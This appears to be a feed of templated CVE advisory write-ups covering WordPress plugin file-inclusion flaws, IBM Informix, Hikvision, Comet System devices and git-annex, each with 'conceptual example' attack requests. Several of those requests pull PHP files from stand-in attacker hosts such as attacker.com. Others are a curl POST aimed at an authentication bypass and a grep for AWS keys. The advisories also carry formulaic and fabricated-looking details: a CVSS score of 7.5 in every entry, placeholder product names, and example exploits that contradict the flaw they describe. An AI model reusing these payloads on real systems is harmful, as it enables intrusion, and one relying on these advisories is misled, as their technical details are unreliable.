Author: Ameeba

  • CVE-2024-8419: Unauthorized Remote Attacker Exploits Missing Authentication to Compromise Systems

    Overview

    This report explores the critical vulnerability identified as CVE-2024-8419. This security flaw affects systems hosting specific endpoint scripts, and its exploitation could lead to unauthorized system compromise or data leakage. Primarily, the vulnerability emerges from the absence of authentication, allowing an unauthorized remote attacker to manipulate the system over the network.

    Vulnerability Summary

    CVE ID: CVE-2024-8419
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    [Product 1] | [Version 1]
    [Product 2] | [Version 2]

    How the Exploit Works

    The exploit works by an attacker sending malicious requests to the vulnerable endpoint. Due to the lack of authentication measures, the system does not verify the legitimacy of the request and processes it. This allows the attacker to put the system into a fail-safe state remotely, potentially leading to system compromise or data leakage.

    Conceptual Example Code

    The following is a conceptual example of an HTTP request that a remote attacker might use to exploit this vulnerability:

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "trigger_failsafe" }

    In this request, the attacker sends a malicious payload that triggers the system’s fail-safe state. Due to the lack of authentication, the system processes this request as if it comes from a legitimate user, leading to potential system compromise or data leakage.

    Mitigation Guidance

    To mitigate the CVE-2024-8419 vulnerability, it is recommended that users immediately apply the patch provided by the vendor. If a patch is not immediately available, users should implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to detect and block exploit attempts.

  • CVE-2025-1991: Denial of Service Vulnerability in IBM Informix Dynamic Server

    Overview

    The cybersecurity landscape is constantly under threat from new vulnerabilities. One such critical vulnerability, CVE-2025-1991, affects IBM’s Informix Dynamic Server versions 12.10, 14.10, and 15.0. This vulnerability could potentially allow a remote attacker to cause a denial of service (DoS) in the affected systems, leading to potential system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-1991
    Severity: High – CVSS:7.5
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: The vulnerability could allow an attacker to cause a denial of service, potentially compromising the system or leading to data leakage.

    Affected Products

    Product | Affected Versions

    IBM Informix Dynamic Server | 12.10
    IBM Informix Dynamic Server | 14.10
    IBM Informix Dynamic Server | 15.0

    How the Exploit Works

    The vulnerability lies in the processing packets of the IBM Informix Dynamic Server. An integer underflow error when processing packets allows for a remote attacker to send specifically crafted packets to the server, disrupting its normal functioning and causing a denial of service. This could potentially lead to unauthorized access to sensitive information or even system compromise.

    Conceptual Example Code

    This is a theoretical example of how an attacker might exploit the vulnerability using a crafted packet.

    POST /process_packet HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "packet": {
    "size": -1,
    "content": "malicious_content"
    }
    }

    In this example, the packet size is set to -1, potentially triggering the integer underflow error in the server’s packet processing function.

    Mitigation Guidance

    Users are advised to apply the vendor-provided patch to fix this vulnerability as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.

  • CVE-2025-53339: PHP Remote File Inclusion Vulnerability in Devnex Addons For Elementor

    Overview

    The vulnerability identified as CVE-2025-53339 is a significant security flaw within the devnex Devnex Addons For Elementor. The issue arises from improper control of filename for Include/Require Statement in PHP Program, which allows for PHP Local File Inclusion. This vulnerability can potentially lead to system compromise or data leakage, posing a severe threat to users of the affected versions of Devnex Addons For Elementor.

    Vulnerability Summary

    CVE ID: CVE-2025-53339
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Devnex Addons For Elementor | Up to and including 1.0.9

    How the Exploit Works

    The exploit takes advantage of the improper control of filename within the PHP code of Devnex Addons For Elementor. An attacker can manipulate Include/Require statements to include files from remote servers, thereby leading to Remote File Inclusion (RFI). This vulnerability allows an attacker to execute arbitrary PHP code within the server’s context leading to potential system compromise or data leakage.

    Conceptual Example Code

    The following is a conceptual example of how this vulnerability might be exploited. The attacker sends a POST request with the malicious payload to the vulnerable endpoint.

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "http://attacker.com/malicious.php" }

    In this example, `http://attacker.com/malicious.php` is a PHP file hosted on the attacker’s server, designed to perform malicious actions when included and executed on the target server.

    Mitigation

    To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential exploits.

  • CVE-2025-53281: Critical PHP Remote File Inclusion Vulnerability in WPBean WPB Category Slider for WooCommerce

    Overview

    The CVE-2025-53281 vulnerability is a critical security flaw that affects the WPBean WPB Category Slider for WooCommerce plugin. This vulnerability arises due to improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), which can potentially lead to system compromise or data leakage. Given the widespread usage of WooCommerce, this vulnerability poses a significant risk to many online businesses and requires immediate attention for its mitigation.

    Vulnerability Summary

    CVE ID: CVE-2025-53281
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    WPBean WPB Category Slider for WooCommerce | n/a through 1.71

    How the Exploit Works

    The exploit takes advantage of the improper control of filename for Include/Require Statement in the PHP Program. This allows an attacker to include a file from a remote server that contains malicious PHP code, thus causing a PHP Remote File Inclusion vulnerability. The malicious code is then executed in the context of the application, leading to unauthorized access, data compromise, and potentially gaining control over the system.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request.

    GET /wp-content/plugins/wpb-woo-product-slider/includes/wpb-wps-ajax.php?path=http://attacker.com/malicious.php HTTP/1.1
    Host: target.example.com

    In this example, the attacker has included a malicious PHP file (`malicious.php`) from their own server (`attacker.com`). This file is included in the context of the WPB Category Slider for WooCommerce plugin, thereby executing the malicious code.

    Mitigation

    Users of the affected versions of WPBean WPB Category Slider for WooCommerce are advised to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.

  • CVE-2025-53259: PHP Remote File Inclusion Vulnerability in Nicdark Hotel Booking

    Overview

    The cybersecurity landscape is again faced with a potent threat – a PHP Remote File Inclusion vulnerability, identified as CVE-2025-53259. This vulnerability affects users of the Hotel Booking system developed by Nicdark. The issue arises from the improper control of filename for the Include/Require statement in the PHP program. It carries a significant risk due to its potential to compromise systems or lead to data leakage, emphasizing the need for immediate attention and mitigation.

    Vulnerability Summary

    CVE ID: CVE-2025-53259
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    Nicdark Hotel Booking | Through 3.7

    How the Exploit Works

    The exploit targets the improper control of filename handling for Include/Require statement in the PHP program. An attacker could manipulate these statements to include files from remote servers. This process, known as PHP Remote File Inclusion (RFI), allows the attacker to execute arbitrary code on the affected application. This could potentially lead to a system compromise and data leakage.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited:

    GET /index.php?file=http://malicious.example.com/malicious.php HTTP/1.1
    Host: target.example.com

    In this example, the attacker is injecting a malicious PHP file hosted on their server (`http://malicious.example.com/malicious.php`) into the vulnerable application. When the server processes the request, it includes the malicious file, leading to arbitrary code execution.

    Mitigation and Recommendations

    Users are advised to apply the vendor patch to fix this vulnerability. As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. Regularly updating and patching software, as well as adhering to security best practices, can significantly reduce the risk of such vulnerabilities.

  • CVE-2025-53257: PHP Remote File Inclusion Vulnerability in Gmedia Photo Gallery

    Overview

    A critical vulnerability has been discovered in the Gmedia Photo Gallery, a popular photo gallery software developed by Serhii Pasyuk. This vulnerability, officially labeled as CVE-2025-53257, resides in the improper control of filename for include/require statement in the software’s PHP program. If exploited, this vulnerability could lead to system compromise or data leakage, posing a significant risk to any organization or individual utilizing the Gmedia Photo Gallery software.

    Vulnerability Summary

    CVE ID: CVE-2025-53257
    Severity: High (7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    Gmedia Photo Gallery | up to version 1.23.0

    How the Exploit Works

    The vulnerability stems from an improper control of filename for include/require statement in the PHP program of the Gmedia Photo Gallery software. An attacker can exploit this by remotely including a file from a server of their choice, thereby manipulating the path of the file. This can allow the attacker to execute arbitrary PHP code on the server running the Gmedia Photo Gallery application.

    Conceptual Example Code

    Below is a conceptual example of how this vulnerability might be exploited, by making a HTTP request with a malicious payload:

    GET /gmedia-gallery.php?file=http://attacker.com/malicious_file.php HTTP/1.1
    Host: vulnerable.example.com

    In the above example, the attacker is instructing the server to fetch and execute a PHP file from an external source (`attacker.com`).

    Mitigation Guidance

    Users are advised to update their Gmedia Photo Gallery software to the latest version, as patches have been applied to mitigate this vulnerability. In the absence of an immediate update, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can also serve as a temporary mitigation strategy.

  • CVE-2025-6763: Critical Vulnerability in Comet System Web-based Management Interface

    Overview

    A critical vulnerability, CVE-2025-6763, has been discovered in the web-based management interface of various Comet System models. This vulnerability allows malicious entities to manipulate the /setupA.cfg file, leading to missing authentication. This vulnerability poses a significant threat to system security and data integrity, enabling potential system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-6763
    Severity: Critical (7.5 CVSS Score)
    Attack Vector: Local Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Comet System T0510 | 1.60
    Comet System T3510 | 1.60
    Comet System T3511 | 1.60
    Comet System T4511 | 1.60
    Comet System T6640 | 1.60
    Comet System T7511 | 1.60
    Comet System T7611 | 1.60
    Comet System P8510 | 1.60
    Comet System P8552 | 1.60
    Comet System H3531 | 1.60

    How the Exploit Works

    The vulnerability lies within the /setupA.cfg file of the web-based management interface. Attackers who have access to the local network can manipulate this file, leading to a missing authentication. This situation can allow the attacker to execute unauthorized activities, potentially leading to system compromise or data leakage.

    Conceptual Example Code

    The following conceptual example illustrates how the vulnerability might be exploited using a malicious shell command:

    $ curl -X POST -d "@payload.json" http://target_comet_system/setupA.cfg

    Here, “payload.json” is a crafted JSON file that contains the malicious payload which manipulates /setupA.cfg for bypassing authentication.

  • CVE-2025-45851: Denial of Service Vulnerability in Hikvision DS-2CD1321-I Camera

    Overview

    This report details a significant cybersecurity vulnerability, CVE-2025-45851, found in Hikvision’s DS-2CD1321-I V5.7.21 build 230819. The vulnerability can cause a Denial of Service (DoS) attack, which could potentially lead to system compromise or data leakage. Any organization utilizing this product version should immediately address this issue to avoid potential disruption and data loss.

    Vulnerability Summary

    CVE ID: CVE-2025-45851
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Denial of Service, Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Hikvision DS-2CD1321-I | V5.7.21 build 230819

    How the Exploit Works

    The exploit works by sending a specially crafted POST request to the endpoint /ISAPI/Security/challenge on a device running the vulnerable software. This malformed request causes the system to crash, resulting in a Denial of Service (DoS) condition.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request:

    POST /ISAPI/Security/challenge HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "..." }

    In this example, the “malicious_payload” is intentionally left vague. In a real-world scenario, this would contain the crafted data that triggers the vulnerability, leading to a Denial of Service.

    Mitigation

    The vendor, Hikvision, has released an update (V5.7.23_SP2) that fixes this vulnerability. Users are strongly advised to apply this patch immediately. Until the patch can be applied, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. However, these are not long-term solutions and do not eliminate the vulnerability.

  • CVE-2025-32298: PHP Remote File Inclusion Vulnerability in Case-Themes CTUsers

    Overview

    The vulnerability, identified as CVE-2025-32298, is a critical flaw in the CTUsers software developed by Case-Themes. It arises from an improper control of the filename for the Include/Require statements in a PHP program, commonly known as a PHP Remote File Inclusion vulnerability. It affects CTUsers up to version 1.0.0. This vulnerability, if exploited, could lead to a system compromise and potential data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-32298
    Severity: High (7.5 CVSS Score)
    Attack Vector: Remote
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    CTUsers | n/a through 1.0.0

    How the Exploit Works

    The exploit works by an attacker manipulating the filename in an Include/Require statement within a PHP program. This manipulated filename can point to an external PHP file that contains malicious code. This file is then included and executed in the context of the web application, leading to potential system compromise.

    Conceptual Example Code

    A conceptual example of how this vulnerability might be exploited is shown below:

    GET /CTUsers/index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
    Host: target.example.com

    In this case, the `file` parameter in the URL is manipulated to include a PHP file hosted on an attacker-controlled server. The server then processes this external PHP file as part of the script execution, leading to potential malicious activities.

    Mitigation

    The recommended mitigation for this vulnerability is to apply the vendor patch. If the patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on requests that attempt to exploit this vulnerability.

  • CVE-2014-6274: Unencrypted AWS Credentials in git-annex

    Overview

    The CVE-2014-6274 vulnerability refers to a significant flaw discovered in git-annex, affecting the versions from 3.20121126 before 5.20140919. This vulnerability poses a serious threat to data security and integrity as the AWS credentials that are supposed to be encrypted are stored in plaintext, leading to potential system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2014-6274
    Severity: High (7.5 CVSS)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    git-annex | 3.20121126 to 5.20140919

    How the Exploit Works

    The vulnerability arises from a bug in the S3 and Glacier remotes of git-annex. If the ’embedcreds=yes’ is set and the remote uses ‘encryption=pubkey’ or ‘encryption=hybrid’, the embedded AWS credentials are stored in the git repository in plaintext, rather than being encrypted. This misstep allows any malicious entity with access to the repository to retrieve the AWS credentials easily, leading to unauthorized access, system compromise, and data leakage.

    Conceptual Example Code

    This vulnerability does not require any specific attack code as the credentials are exposed in plaintext. However, an attacker could potentially use the following shell command to clone the repository and access the exposed credentials.

    git clone https://target.example.com/vulnerable/repository.git
    grep -iR 'AWS_ACCESS_KEY_ID' repository/

    This command would clone the repository and then search for the plaintext AWS credentials within it.

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